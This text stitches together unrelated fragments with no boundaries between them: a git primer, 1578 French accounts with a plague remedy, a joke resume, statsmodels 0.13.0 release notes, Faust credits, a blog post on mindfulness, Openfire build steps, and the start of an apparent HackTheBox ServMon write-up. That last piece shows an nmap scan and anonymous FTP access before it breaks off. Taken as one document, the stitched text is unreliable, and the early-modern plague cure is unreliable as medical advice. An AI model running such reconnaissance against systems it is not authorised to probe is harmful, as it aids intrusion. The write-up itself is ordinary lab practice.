How does git help you keep track of changes? Git allows developers to track and control the changes made by various individual users to files. Git allows users to convert local folders to git repositories, which are version controlled folders. This allows users to access past versions for reference, and roll back previous commits, which are save points in git. Each commit has:
- A unique id that is a string of numbers and letters.
- A message that details the change made in the save point. This should be specific.
- The author of the commit.
- A timestamp. This helps in dealing with bugs.
Why use GitHub to store your code? While GitHub has certain shortcomings, such as requiring payment in order to store private repositories, it's among the best free alternatives for Open Source projects. GitHub is the most popular version control management system, and this makes it easy to get feedback on your projects. In addition, due to its popularity and very active community, GitHub also has a very thorough help section and even guides for whatever Git issue one might be having difficulties with.


/* Full list of modes */
Every mode in the distribution. The list on the front-page leaves out some of the more obscure ones.


In the year fifteen hundred seventy—eight, the second of July, the heirs of the late Sr. Ouvryer received (two hundred and five ecus), the rent of Saint—Frajou, amounting to twelve hundred and thirty livres.
They have also received, as part of the revenue of the year fifteen hundred seventy nine, three hundred forty three and one third ecus.
| And for the first year, they remain to be paid eighty livres and fifteen sous, | and for the second settlement, they have not yet received anything. |
Against pestilential fever or poison or plague, take an ecu’s weight of your opiate soaked in scabious or bugloss extract, or heavily diluted wine, if you are already ill. After taking it, you must make yourself sweat.
Acetum paratum ex ruta baccis juniperi simul tusis Eo aceto extinguantur lateres igniti. Et vapor excipiatur ore & naribus. Rue vinegar together with crushed juniper berries. Pour the vinegar over red hot bricks and inhale the vapor through the mouth and nostrils. This is to preserve oneself when going into noxious air: a garment can be perfumed with this vapor in order to remove infection from a room, house, etc. And if you find yourself in a place where you do not have this preparation, carry rue and berries crushed together, then, if need be, boil them in vinegar and use as described.
| Ottonis episcopi | Frisigensis | Ab orbe condito |
| Abbatis | Urspergensis | Chronicon |
| Hieronymus | Mercurialis, | Variarum |
Rerum Scoticarum Historia, Georgio Bucanano authore
| Rembertus Dodonæus, Mechliniensis medicus, | De stirpium historia |
De L’Orme, De l’invention de bien bastir, and other works
Telesius, De coloribus, Vascosan
Marbodius, De lapillis prætiosis


My Resume
For getting me hired and stuff
Work Experience
- Car StoreSold cars good, talked to people, used computers
- LibrarySorted books, checked out books, general bookishness
- CupcakeryBaked cupcakes, sold them freely, worked with a smile
- Bus DriverDidn't hit things, used headlights, wore seatbelt, mostly friendly
Education
- High SchoolDid homework and skipped class
- University 1Studied until I transferred to...
- University 2Made the Dean's list until I got accepted into...
- Harvard Law SchoolI regret becoming a lawyer


Release 0.13.0¶
Release summary¶
statsmodels is using github to store the updated documentation. Two version are available:
Stable, the latest release
Development, the latest build of the main branch
Warning
API stability is not guaranteed for new features, although even in this case changes will be made in a backwards compatible way if possible. The stability of a new feature depends on how much time it was already in statsmodels main and how much usage it has already seen. If there are specific known problems or limitations, then they are mentioned in the docstrings.
Stats¶
Issues Closed: 238
Pull Requests Merged: 165
The Highlights¶
New cross-sectional models¶
Beta Regression¶
BetaModel
estimates a regression model
for dependent variable in the unit interval such as fractions and proportions
based on the Beta distribution. The Model is parameterized by mean and
precision, where both can depend on explanatory variables through link
functions.
Ordinal Regression¶
statsmodels.miscmodels.ordinal_model.OrderedModel
implements
cumulative link models for ordinal data, based on Logit, Probit or a
userprovided CDF link.
Distributions¶
Copulas¶
Statsmodels includes now basic support for mainly bivariate copulas.
Currently, 10 copulas are available, Archimedean, elliptical and asymmetric
extreme value copulas.
CopulaDistribution
combines a
copula with marginal distributions to create multivariate distributions.
Count distribution based on discretization¶
DiscretizedCount
provides count
distributions generated by discretizing continuous distributions available
in scipy. The parameters of the distribution can be estimated by maximum
likelihood with DiscretizedModel
.
Bernstein Distribution¶
BernsteinDistribution
creates
nonparametric univariate and multivariate distributions using Bernstein
polynomials on a regular grid. This can be used to smooth histograms or
approximate distributions on the unit hypercube. When the marginal distributions
are uniform, then the BernsteinDistribution is a copula.
Statistics¶
Brunner Munzel rank comparison¶
Brunner-Munzel test is nonparametric comparison of two samples and is an
extension of Wilcoxon-Mann-Whitney and Fligner-Policello tests that requires
only ordinal information without further assumption on
the distributions of the samples. Statsmodels provides the Brunner Munzel
hypothesis test for stochastic equality in
rank_compare_2indep
but also
confidence intervals and equivalence testing (TOST) for the stochastically
larger statistic, also known as Common Language effect size.
Nonparametric¶
Asymmetric kernels¶
Asymmetric kernels can nonparametrically estimate density and cumulative
distribution function for random variables that have limited support, either
unit interval or positive or nonnegative real line. Beta kernels are available
for data in the unit interval. The available kernels for positive data are
“gamma”, “gamma2”, “bs”, “invgamma”, “invgauss”, “lognorm”, “recipinvgauss”
and “weibull”
pdf_kernel_asym
estimates
a kernel density given a bandwidth parameter.
cdf_kernel_asym
estimates a kernel cdf.
Time series analysis¶
Autoregressive Distributed Lag Models¶
ARDL
adds support for specifying and estimating ARDL
models, and UECM
support specifying models in error
correction form. ardl_select_order
simplifies selecting
both AR and DL model orders. bounds_test
implements
the bounds test of Peseran, Shin and Smith (2001) for testing whether there is a levels
relationship without knowing teh orders of integration of the variables.
In [1]: from statsmodels.datasets import danish_data
In [2]: import statsmodels.tsa.api as tsa
In [3]: data = danish_data.load().data
In [4]: sel = tsa.ardl_select_order(data.lrm, 3, data[["lry", "ibo", "ide"]], 3, ic="aic")
In [5]: ardl = sel.model
In [6]: ardl.ardl_order
Out[6]: (3, 1, 3, 2)
In [7]: res = ardl.fit()
In [8]: print(res.summary())
ARDL Model Results
==============================================================================
Dep. Variable: lrm No. Observations: 55
Model: ARDL(3, 1, 3, 2) Log Likelihood 139.513
Method: Conditional MLE S.D. of innovations 0.017
Date: Wed, 02 Nov 2022 AIC -251.026
Time: 17:12:49 BIC -223.708
Sample: 10-01-1974 HQIC -240.553
- 07-01-1987
==============================================================================
coef std err z P>|z| [0.025 0.975]
------------------------------------------------------------------------------
const 2.6202 0.568 4.615 0.000 1.472 3.769
lrm.L1 0.3192 0.137 2.336 0.025 0.043 0.596
lrm.L2 0.5326 0.132 4.024 0.000 0.265 0.800
lrm.L3 -0.2687 0.102 -2.631 0.012 -0.475 -0.062
lry.L0 0.6728 0.131 5.129 0.000 0.407 0.938
lry.L1 -0.2574 0.147 -1.749 0.088 -0.555 0.040
ibo.L0 -1.0785 0.322 -3.353 0.002 -1.729 -0.428
ibo.L1 -0.1062 0.586 -0.181 0.857 -1.291 1.079
ibo.L2 0.2877 0.569 0.505 0.616 -0.863 1.439
ibo.L3 -0.9947 0.393 -2.534 0.015 -1.789 -0.201
ide.L0 0.1255 0.554 0.226 0.822 -0.996 1.247
ide.L1 -0.3280 0.721 -0.455 0.652 -1.787 1.131
ide.L2 1.4079 0.552 2.550 0.015 0.291 2.524
==============================================================================
In [9]: uecm = tsa.UECM.from_ardl(ardl)
In [10]: uecm_res = uecm.fit()
In [11]: uecm_res.bounds_test(case=4)
Out[11]:
BoundsTestResult
Stat: 5.43062
Upper P-value: 0.00339
Lower P-value: 0.000335
Null: No Cointegration
Alternative: Possible Cointegration
Fixed parameters in ARIMA estimators¶
Allow fixing parameters in ARIMA estimator Hannan-Rissanen (
hannan_rissanen
) through the newfixed_params
argument
What’s new - an overview¶
The following lists the main new features of statsmodels 0.13.0. In addition, release 0.13.0 includes bug fixes, refactorings and improvements in many areas.
Major Feature¶
Allow fixing parameters in ARIMA estimator Hannan-Rissanen (PR #7497, PR #7501)
OLS add “slim” option to summary method (PR #7693 based on PR #6880)
Add loglog link for use with GLM (PR #7594)
improved default derivatives in CDFLink (PR #7287)
GLM enhanced and corrected
get_distribution
(PR #7535)GLMResults info_criteria, add
dk_params
option to include scale in parameter count (PR #7693)GLMResults add pseudo R-squared, Cox-Snell and McFadden (PR #7682 based on PR #7367)
nonparametric: add tricube kernel (PR #7697 based on PR #7671)
Submodules¶
Documentation
¶
Port missed doc fix (PR #7123)
Rls note (PR #7293)
Minor updates to v0.12.2 release notes (PR #7303)
Update doc for tweedie allowed links (PR #7395)
Don’t point to release version (PR #7399)
Fixed error in linear mixed effects example (PR #7402)
Fix for upstream changes in PyMC3 notebook (PR #7416)
Remove redundant words in PCA docstring (PR #7423)
Misc fixes in docstr of fdrcorrection (PR #7426)
Small doc fixes (PR #7434)
Typo, plats->plots (PR #7458)
Specify impulse to impulse_responses in VARMAX notebook (PR #7475)
Fix errors in theta notebook (PR #7539)
Add github actions to build docs (PR #7540)
Fix GH actions (PR #7541)
Continue working on it (PR #7552)
Continue working on push ability (PR #7553)
Continue working on push ability (PR #7554)
Finalize push ability (PR #7555)
Finalize push ability (PR #7556)
Finalize push ability (PR #7557)
Finalize push ability (PR #7558)
Get doc push to work (PR #7559)
Get doc push to work (PR #7560)
Get doc push to work (PR #7561)
Improve rolling OLS notebook (PR #7572)
Correct docstring (PR #7587)
Copula in user guide and examples (PR #7607)
Improve ARDL and documentation (PR #7611)
Clarify which series is on x-axis (PR #7612)
Small clean of example (PR #7614)
Spelling error in docs fixed (PR #7618)
Update dev page flake8 command to follow PULL_REQUEST_TEMPLATE.md (PR #7644)
Improve copula notebook (PR #7651)
Remove duplication methods section (PR #7676)
Second try ixing duplicate methods (PR #7677)
Fix a typo (PR #7681)
Improve ARDL notebook (PR #7699)
Update versions.json (PR #7702)
Update versions file (PR #7708)
Update release note (PR #7714)
Update release note (PR #7726)
Correct MultivariateTestResults doc string (PR #7735)
Correct MultivariateTestResults doc string (PR #7738)
Add missing function doc head (PR #7740)
More 0.13 (PR #7757)
Fix lowess notebook (PR #7770)
Performance
¶
backport
¶
base
¶
Use np.linalg.solve() instead of np.linalg.inv() in Newton-Raphson Algorithm (PR #7429)
Allow remove_data to work when an attribute is not implemented (PR #7511)
REF/BUG generic likelihood LLRMixin use df_resid instead of df_model for llr_pvalue (PR #7586)
Raise when invalid optimization options passed to optimizer (PR #7596)
datasets
¶
Add an error message for not found data (PR #7490)
discrete
¶
distributions
¶
docs
¶
Fix for upstream changes in PyMC3 notebook (PR #7416)
Correct small typo in Theta model Notebook (PR #7450)
Prevent indent running on None (PR #7462)
Update versions file (PR #7708)
Improve docs and docstrings, mainly for recent additions (PR #7727)
Api.py, docstring improvements (PR #7732)
Add to release notes, smaller doc fixes, references (PR #7743)
genmod
¶
Change default derivative in CDFLink (PR #7287)
Allow user to configure GEE qic (PR #7471)
Score and Hessian for Tweedie models (PR #7489)
BUG/ENH fix and enh GLM, family get_distribution (PR #7535)
Enh glm loglog (PR #7594)
McFadden and Cox&Snell Pseudo R squared to GLMResults (PR #7682)
Add dk_params option to GLM info_criteria (PR #7693)
Warn kwargs glm (PR #7750)
GLM init invalid kwargs use ValueWarning (PR #7751)
graphics
¶
Fix UserWarning: marker is redundantly defined (Matplotlib v 3.4.1) (PR #7400)
Fix axis labels in qqplots (PR #7413)
Remove typo in plot_pacf example (PR #7514)
Start process of changing default in plot-pacf (PR #7582)
Improve limit format in diff plot (PR #7592)
Clarify which series is on x-axis (PR #7612)
Graphics.plot_partregress add eval_env options (PR #7673)
io
¶
maintenance
¶
V0.12.1 backports (PR #7121)
Backport fixes for 0.12.2 compat release (PR #7221)
Fix descriptive stats with extension dtypes (PR #7404)
Fix pip pre test failures (PR #7405)
Fix README badges (PR #7406)
Silence warnings and future compat (PR #7425)
Use loadscope to avoid rerunning setup (PR #7432)
Remove cyclic import risks (PR #7438)
Fit future and deprecation warnings (PR #7474)
Avoid future issues in pandas (PR #7495)
Remove 32-bit testing (PR #7536)
Fix contrasts for Pandas changes (PR #7546)
Correct example implementation (PR #7547)
Check push ability (PR #7551)
Remove deprecated functions (PR #7575)
Remove additional deprecated features (PR #7577)
Remove recarray (PR #7578)
Remove deprecated code (PR #7579)
Correct notebooks for deprecations (PR #7580)
Fix spelling errors (PR #7583)
Clarify minimum versions (PR #7590)
Revert exception to warning (PR #7599)
Silence future warnings (PR #7617)
Avoid passing bad optimization param (PR #7620)
Pin matplotlib (PR #7641)
Modernize prediction in notebooks (PR #7649)
Protect against changes in numeric indexes (PR #7685)
Final issues in __all__ (PR #7742)
Fix hard to reach errors (PR #7744)
multivariate
¶
Multivariate - Return E and H matrices in dict (PR #5491)
Added the option full_matrices=False in the PCA method (PR #7329)
Factor fit ml em resets seed (rebased) (PR #7703)
Correct MultivariateTestResults doc string (PR #7735)
Correct MultivariateTestResults doc string (PR #7738)
Add missing function doc head (PR #7740)
nonparametric
¶
othermod
¶
regression
¶
Allow remove_data to work when an attribute is not implemented (PR #7511)
Fix scale parameter in elastic net (PR #7571)
Regression, allow remove_data to remove wendog, wexog, wresid (PR #7595)
Spelling error in docs fixed (PR #7618)
Add dk_params option to GLM info_criteria (PR #7693)
Quantile regression use dimension of x matrix rather than rank (PR #7694)
Add option for slim summary in OLS results (PR #7696)
Enable VIF to work with DataFrames (PR #7704)
stats
¶
Runs test numeric cutoff error (PR #7422)
Resolve TODO in proportion.py (PR #7515)
Improve sidak multipletest precision close to zero (PR #7668)
Proportions_chisquare prevent integer overflow (PR #7669)
Fix lilliefors results for single-column DataFrames (PR #7698)
Describe / Description do not return percentiles (PR #7710)
ENH: add options to meta-analysis plot_forest (PR #7772)
tools
¶
tsa
¶
Add Helper function to solve for polynomial coefficients from roots for ARIMA (PR #6921)
Changed month abbreviations with localization (PR #7409)
Add ARDL model (PR #7433)
Fix typo in ets error (PR #7435)
Add fixed_params to Hannan Rissanen (GH7202) (PR #7497)
Enable ARIMA.fit(method=’hannan_rissanen’) with fixed parameters (GH7501) (PR #7502)
Fix errors when making dynamic forecasts (PR #7516)
Correct index location of seasonal (PR #7545)
Handle non-date index with a freq (PR #7574)
Start process of changing default in plot-pacf (PR #7582)
Correct docstring (PR #7587)
Let VAR results complete when model has perfect fit (PR #7588)
Rename nc to n everywhere (PR #7593)
Improve ARDL and documentation (PR #7611)
Add RUR stationarity test to statsmodels.tsa.stattools (PR #7616)
Improve ARDL and UECM (PR #7619)
Improve error message in seasonal for bad freq (PR #7643)
ENH Fixed Range Unit-Root critical values (PR #7645)
Add SARIMAX FAQ (PR #7656)
Add to the SARIMAX FAQ (PR #7659)
Improve SARIMAX FAQ Notebook (PR #7661)
Improve ARIMA documentation (PR #7662)
Update TSA Api (PR #7701)
Correct ArmaProcess.from_estimation (PR #7709)
Added fft to ccovf and ccf (PR #7721)
tsa.statespace
¶
Port missed doc fix (PR #7123)
Forecast after extend w/ time varying matrix (PR #7437)
Specify impulse to impulse_responses in VARMAX notebook (PR #7475)
Column name can be passed as an argument in impulse_responses in VARMAX (PR #7506)
Statespace MLEModel false validation error with nested fix_params (GH7507) (PR #7508)
Ensure attributes exist (PR #7538)
Ensure warning does not raise (PR #7589)
Assert correct iloc dtypes (PR #7737)
tsa.vector.ar
¶
bug-wrong¶
A new issue label type-bug-wrong indicates bugs that cause that incorrect numbers are returned without warnings. (Regular bugs are mostly usability bugs or bugs that raise an exception for unsupported use cases.) see tagged issues
Major Bugs Fixed¶
See github issues for a list of bug fixes included in this release
Development summary and credits¶
Besides receiving contributions for new and improved features and for bugfixes, important contributions to general maintenance for this release came from
Chad Fulton
Brock Mendel
Peter Quackenbush
Kerby Shedden
Kevin Sheppard
and the general maintainer and code reviewer
Josef Perktold
Additionally, many users contributed by participation in github issues and providing feedback.
Thanks to all of the contributors for the 0.13.0 release (based on git log):
Aidan Russell
Alexander Stiebing
Austin Adams
Ben Greiner
Brent Pedersen
Chad Fulton
Chadwick Boulay
Edwin Rijgersberg
Ezequiel Smucler
Mcbain
Graham Inggs
Greg Mcmahan
Helder Oliveira
Hsiao Yi
Jack Liu
Jake Jiacheng Liu
Jeremy Bejarano
Joris Van Den Bossche
Josef Perktold
Juan Orduz
Kerby Shedden
Kevin Sheppard
Luke Gregor
Malte Zietlow
Masanori Kanazu
Max Mahlke
Michele Fortunato
Mike Ovyan
Min Rk
Natalie Heer
Nikolai Korolev
Omar Gutiérrez
Oswaldo
Pamphile Roy
Pratyush Sharan
Roberto Nunes Mourão
Simardeep27
Simon Høxbro Hansen
Sin Kim
Skipper Seabold
Stefan Appelhoff
Thomas Brooks
Tomohiro Endo
Wahram Andrikyan
cxan96
janosbiro
partev
w31ha0
These lists of names are automatically generated based on git log, and may not be complete.
Merged Pull Requests¶
The following Pull Requests were merged since the last release:
PR #5491: ENH: multivariate - Return E and H matrices in dict
PR #6921: ENH: Add Helper function to solve for polynomial coefficients from roots for ARIMA
PR #7121: MAINT: v0.12.1 backports
PR #7123: DOC: Port missed doc fix
PR #7221: MAINT: Backport fixes for 0.12.2 compat release
PR #7222: Backports
PR #7287: REF: change default derivative in CDFLink
PR #7291: Backports
PR #7293: Rls note
PR #7303: DOC: Minor updates to v0.12.2 release notes
PR #7329: ENH: Added the option full_matrices=False in the PCA method
PR #7395: DOC: update doc for tweedie allowed links
PR #7397: BUG: Fix float index usage in IRF error bands
PR #7399: DOC: Don’t point to release version
PR #7400: MAINT: Fix UserWarning: marker is redundantly defined (Matplotlib v 3.4.1)
PR #7402: DOC: fixed error in linear mixed effects example
PR #7404: MAINT: Fix descriptive stats with extension dtypes
PR #7405: MAINT: Fix pip pre test failures
PR #7406: MAINT: Fix README badges
PR #7408: Copula 7254 rebased
PR #7409: ENH: changed month abbreviations with localization
PR #7413: BUG: Fix axis labels in qqplots
PR #7416: MAINT: Fix for upstream changes in PyMC3 notebook
PR #7422: BUG: Runs test numeric cutoff error
PR #7423: DOC/MAINT: Remove redundant words in PCA docstring
PR #7425: MAINT: Silence warnings and future compat
PR #7426: DOC: misc fixes in docstr of fdrcorrection
PR #7429: ENH: Use np.linalg.solve() instead of np.linalg.inv() in Newton-Raphson Algorithm
PR #7432: MAINT: Use loadscope to avoid rerunning setup
PR #7433: ENH: Add ARDL model
PR #7434: DOC: Small doc fixes
PR #7435: fix typo in ets error
PR #7437: BUG: forecast after extend w/ time varying matrix
PR #7438: MAINT: Remove cyclic import risks
PR #7450: Correct small typo in Theta model Notebook
PR #7458: DOC: typo, plats->plots
PR #7462: BUG: Prevent indent running on None
PR #7471: ENH: Allow user to configure GEE qic
PR #7474: MAINT: Fit future and deprecation warnings
PR #7475: Specify impulse to impulse_responses in VARMAX notebook
PR #7488: ENH: add discretized count distribution
PR #7489: BUG: score and Hessian for Tweedie models
PR #7490: ENH: Add an error message for not found data
PR #7495: MAINT: Avoid future issues in pandas
PR #7497: ENH: Add fixed_params to Hannan Rissanen (GH7202)
PR #7502: ENH: Enable ARIMA.fit(method=’hannan_rissanen’) with fixed parameters (GH7501)
PR #7506: ENH: Column name can be passed as an argument in impulse_responses in VARMAX
PR #7508: BUG: statespace MLEModel false validation error with nested fix_params (GH7507)
PR #7511: Allow remove_data to work when an attribute is not implemented
PR #7514: Remove typo in plot_pacf example
PR #7515: resolve TODO in proportion.py
PR #7516: BUG: Fix errors when making dynamic forecasts
PR #7535: BUG/ENH fix and enh GLM, family get_distribution
PR #7536: MAINT: Remove 32-bit testing
PR #7538: BUG: Ensure attributes exist
PR #7539: DOC: Fix errors in theta notebook
PR #7540: MAINT: Add github actions to build docs
PR #7541: MAINT: Fix GH actions
PR #7543: Betareg rebased3 Beta regression
PR #7545: BUG: Correct index location of seasonal
PR #7546: MAINT: Fix contrasts for Pandas changes
PR #7547: MAINT: Correct example implementation
PR #7551: MAINT: Check push ability
PR #7552: MAINT: Continue working on it
PR #7553: MAINT: Continue working on push ability
PR #7554: MAINT: Continue working on push ability
PR #7555: MAINT: Finalize push ability
PR #7556: MAINT: Finalize push ability
PR #7557: MAINT: Finalize push ability
PR #7558: MAINT: Finalize push ability
PR #7559: MAINT: Get doc push to work
PR #7560: MAINT: Get doc push to work
PR #7561: MAINT: Get doc push to work
PR #7571: BUG: Fix scale parameter in elastic net
PR #7572: DOC: Improve rolling OLS notebook
PR #7574: BUG: Handle non-date index with a freq
PR #7575: MAINT: Remove deprecated functions
PR #7577: MAINT: Remove additional deprecated features
PR #7578: MAINT: Remove recarray
PR #7579: MAINT: Remove deprecated code
PR #7580: MAINT: Correct notebooks for deprecations
PR #7581: ENH: Add support for pickling for generic path-like objects
PR #7582: ENH: Start process of changing default in plot-pacf
PR #7583: MAINT: Fix spelling errors
PR #7586: REF/BUG generic likelihood LLRMixin use df_resid instead of df_model for llr_pvalue
PR #7587: DOC: Correct docstring
PR #7588: BUG: Let VAR results complete when model has perfect fit
PR #7589: BUG: Ensure warning does not raise
PR #7590: MAINT: Clarify minimum versions
PR #7591: ENH: Add error if too few values
PR #7592: ENH: Improve limit format in diff plot
PR #7593: MAINT: Rename nc to n everywhere
PR #7594: Enh glm loglog
PR #7595: BUG: regression, allow remove_data to remove wendog, wexog, wresid
PR #7596: ENH: Raise when invalid optimization options passed to optimizer
PR #7599: MAINT: Revert exception to warning
PR #7607: DOC: copula in user guide and examples
PR #7608: ENH: random number generation wrapper for rng, qrng
PR #7611: ENH: Improve ARDL and documentation
PR #7612: BUG/DOC: Clarify which series is on x-axis
PR #7614: DOC: Small clean of example
PR #7616: ENH: Add RUR stationarity test to statsmodels.tsa.stattools
PR #7617: MAINT: Silence future warnings
PR #7618: DOC: spelling error in docs fixed
PR #7619: ENH: Improve ARDL and UECM
PR #7620: MAINT: Avoid passing bad optimization param
PR #7641: MAINT: Pin matplotlib
PR #7643: ENH: Improve error message in seasonal for bad freq
PR #7644: DOC: Update dev page flake8 command to follow PULL_REQUEST_TEMPLATE.md
PR #7645: ENH Fixed Range Unit-Root critical values
PR #7648: BUG/REF copula another round for 0.13
PR #7649: MAINT: Modernize prediction in notebooks
PR #7651: ENH: Improve copula notebook
PR #7652: MAINT: Temporarily change the default RNG in check_random_state
PR #7656: DOC: Add SARIMAX FAQ
PR #7659: DOC: Add to the SARIMAX FAQ
PR #7661: DOC: Improve SARIMAX FAQ Notebook
PR #7662: DOC: Improve ARIMA documentation
PR #7668: BUG: improve sidak multipletest precision close to zero
PR #7669: BUG: proportions_chisquare prevent integer overflow
PR #7670: BUG: ZI predict, fix offset default if None, allow exog_infl None if constant
PR #7673: ENH/BUG: graphics.plot_partregress add eval_env options
PR #7676: DOC: Remove duplication methods section
PR #7677: DOC: Second try ixing duplicate methods
PR #7681: fix a typo
PR #7682: ENH: McFadden and Cox&Snell Pseudo R squared to GLMResults
PR #7685: MAINT: Protect against changes in numeric indexes
PR #7693: ENH: add dk_params option to GLM info_criteria
PR #7694: ENH: quantile regression use dimension of x matrix rather than rank
PR #7696: ENH: add option for slim summary in OLS results
PR #7697: ENH add tricube kernel
PR #7698: ENH: Fix lilliefors results for single-column DataFrames
PR #7699: DOC: Improve ARDL notebook
PR #7701: MAINT: Update TSA Api
PR #7702: DOC: Update versions.json
PR #7703: BUG: Factor fit ml em resets seed (rebased)
PR #7704: ENH: Enable VIF to work with DataFrames
PR #7708: MAINT: Update versions file
PR #7709: BUG: Correct ArmaProcess.from_estimation
PR #7710: BUG: describe / Description do not return percentiles
PR #7713: ENH: Oaxaca Variance/Other Models
PR #7714: DOC: Update release note
PR #7721: ENH: Added fft to ccovf and ccf
PR #7723: REF/ENH: more copula improvements for 0.13
PR #7726: DOC: Update release note
PR #7727: DOC: improve docs and docstrings, mainly for recent additions
PR #7732: DOC: api.py, docstring improvements
PR #7735: DOC: Correct MultivariateTestResults doc string
PR #7737: TST: Assert correct iloc dtypes
PR #7738: DOC: Correct MultivariateTestResults doc string
PR #7739: MAINT: Fix style issue
PR #7740: DOC: add missing function doc head
PR #7742: MAINT: Final issues in __all__
PR #7743: DOC: add to release notes, smaller doc fixes, references
PR #7744: MAINT: Fix hard to reach errors
PR #7748: BUG: fix summary().as_latex, line in top table dropped
PR #7750: ENH: Warn kwargs glm
PR #7751: REF: GLM init invalid kwargs use ValueWarning
PR #7757: BUG/MAINT/DOC: more 0.13
PR #7766: BUG: fix lowess spikes/nans from epsilon values
PR #7768: PERF/TST: Improve Lowess
PR #7770: DOC: Fix lowess notebook
PR #7772: ENH: add options to meta-analysis plot_forest


This will set the 'from' address to the board's group email address.
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{{ $ctrl.sendResultMessage }}
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The Faust Project
The Faust Project has started in 2002. It is actively developed by the GRAME-CNCM Research Department.
Many persons are contributing to the Faust project, by providing code for the compiler, architecture files, libraries, examples, documentation, scripts, bug reports, ideas, etc. We would like in particular to thank:
-
Fons Adriaensen, Karim Barkati,
Jérôme Barthélemy, Tim Blechmann,
Tiziano Bole, Alain Bonardi,
Thomas Charbonnel, Raffaele Ciavarella,
Julien Colafrancesco, Damien Cramet,
Sarah Denoux, Étienne Gaudrin,
Olivier Guillerminet, Pierre Guillot,
Albert Gräf, Pierre Jouvelot,
Stefan Kersten, Victor Lazzarini,
Matthieu Leberre, Mathieu Leroi,
Fernando Lopez-Lezcano, Kjetil Matheussen,
Hermann Meyer, Rémy Muller,
Raphael Panis, Eliott Paris,
Reza Payami, Laurent Pottier,
Sampo Savolainen, Nicolas Scaringella,
Anne Sedes, Priyanka Shekar,
Stephen Sinclair, Travis Skare,
Julius Smith, Mike Solomon,
Michael Wilson, Bart Brouns, Dirk Roosenburg.
as well as our colleagues at GRAME:
- Dominique Fober
- Christophe Lebreton
- Stéphane Letz
- Romain Michon
- Yann Orlarey
We would like also to thank for their financial support:


This blog is a response to the reading of Chapter 1 of Search Inside yourself
I have a similar response to the first chapter in this book as I did to the "time and habit management" repo: I love the essence of what is being said, but have resistance to the tone of the message.
Part of this may be personal, in that I have deep apprehension, and dislike, for Google. The book's introduction and opening chapter is very fond of how cool Google is, and the great things originating from there. This causes me to distrust the authority of the author: if Meng has heightened his mindfulness and empathy, why does he still have such fondness for Google? I realize that my view is a bit extreme, and his perspective has a sentimental nuance I can't know (Google is family, home, beginning, and more so whatever bad qualities of his company are personally filtered through the goodness of his memory). I believe Meng wants to mean well, and that this book is a segment in his own life, and not the definition of it. I'd be interested in where he is at now.
The fundamental hurdle for me in this chapter is that it positions mindfulness, and emotional intelligence, as tools for your own self-interest.  Yes you can become a better leader which will get you promoted, but what position are you being promoted into and what does this mean for the community you are in?  He then says this is good because that driver could have been an old man who would beat you with his golf clubs before saying you were no longer able to date his daughter. In other words, the benefit of not flipping someone else off is that you are not hurt. In that example, it could just as easily been that the person cut you off because because they were driving with a bloody hand to the hospital and missed their exit, or they were being yelled at the passenger in the car, and were distracted with their own hurt...or any other number of scenarios. The benefit of not responding with anger is that you are not giving anger out into the world, but in this chapter it was instead 'You'll stay one step ahead of being hurt and maybe get yrself a new job too!'. I know he is writing for a particular audience, and he may have found that he needed to temper his words to fit his audience....but I also know that this audience is not me.
BUT!!! I dont' need to respond with antagonism to this book, even if that's the initial feeling. In the same way that meditation is not practiced solely on mountain tops, but also in crowded streets and loud subway cars...I can read through the noice of management-speak to get to the wonderful nuggets beneath. Like Mindfulness meditation, and two minutes of breath. And those two minutes I'll take.......now.
Thoughts on Mindfulness: It was great! The writing above made me more stressed than I realized, and I had tension that feels much softer now. AND! I am remembering how happy i am that mindfulness and empathy are being taught first thing in my dev course, which is a subset of a radical and pleasant tech cooperative and not google. All in all, I am happy to have read the book and to be a part of this class.
Current Mood: Gracious


--- layout: post status: publish published: true title: Sam's .NET Book List author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 808 wordpress_url: http://winterdom.com/2006/10/samsnetbooklist date: '2006-10-29 07:16:00 +0000' date_gmt: '2006-10-29 07:16:00 +0000' categories: - ".NET" - Development tags: [] comments: [] ---
My good friend Sam Gentile has posted a list of professional .NET books he recommends over at Amazon; lot's of good books listed. Some I own, some are on my own wishlist and some I hadn't seen before that I'm adding to it!


Add unique learner numbers
You can add unique learner numbers to apprentices in this cohort using a CSV file.
Help with uploading ULN files
Add some help and guidance here.
You can add unique learner numbers to apprentices in this cohort using a CSV file.
Add some help and guidance here.


This document provides detailed information for developers that wish to compile and make changes to the Openfire source code.
For additional developer resources, please visit: http://www.igniterealtime.org. The Openfire build process is based on Apache Maven. Visit the Maven website for more information.
This documentation is divided into three sections:
You can get the Openfire source code by downloading a source distribution or by checking out the source code from CVS. Instructions for both options can be found on the source page.
Getting your machine ready for development requires a few steps. Wherever possible, instructions are provided for both Unix/Linux and Windows users.
Important! -- the Openfire build tool needs to know where Java is installed on your system. You must configure the "JAVA_HOME" environment variable to point to the correct directory. Instructions on how to set this variable for various platforms are as follows:
export JAVA_HOME=/usr/local/jdk1.8
The value "/usr/local/jdk1.8" should be replaced with your actual Java directory. Be sure there are no spaces after the end of the directory name. Do not add an extra slash after the directory name.
source .profile
The JAVA_HOME variable should now be configured correctly.
set JAVA_HOME=c:\jdk1.8
The value "c:\jdk1.8" should be replaced with your actual Java directory. Be sure there are no spaces between the "=" sign or after the end of the directory name. Do not add an extra slash after the directory name.
The Openfire build process uses Maven, so that tool must be installed and configured on your computer. First download Maven from: https://maven.apache.org. Next, follow the usage instructions.
Now, invoke the build tool to compile the Openfire source code: mvn compile If the build tool is invoked correctly and Openfire compiles, you've correctly configured your copy of the Openfire source distribution.
Finished!
Openfire conforms to the standard Maven build process. For a full list of the
commands please review the Apache Maven documentation. For more complete help
on several commands, read the documentation below.
To execute a build pahse, type mvn "phase"
where "phase" is
one of the keywords listed below:
mvn clean package
.
When a phase is given, Maven will execute every phase in the sequence up to and
including the one defined. For example, when the 'package' phase is executed, the
'compile' and 'test' phases are also executed (but the 'clean' phase is not, unless
specified explicitly). Please refer to the Maven documentation for more details.
mvn clean
Description:
Cleans all artifacts of the build process.
mvn compile
Description:
Builds Openfire components (including plugins) into the target directory of each module.
mvn test
Description:
Builds Openfire components, and runs all unit tests.
mvn package
Description:
Builds Openfire components, runs all unit tests, and creates a distributable package in the distribution module. You can then launch Openfire using the scripts in distribution/target/distribution-base/bin.


Hello,
This time I am writing the solution for the ServMon box. A easy windows box. Let’s dive into the solution.
🔥 nmap to get the open ports.
nmap -sC -sV -oA initial -Pn <IP_ADDRESS>
The resutls…
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
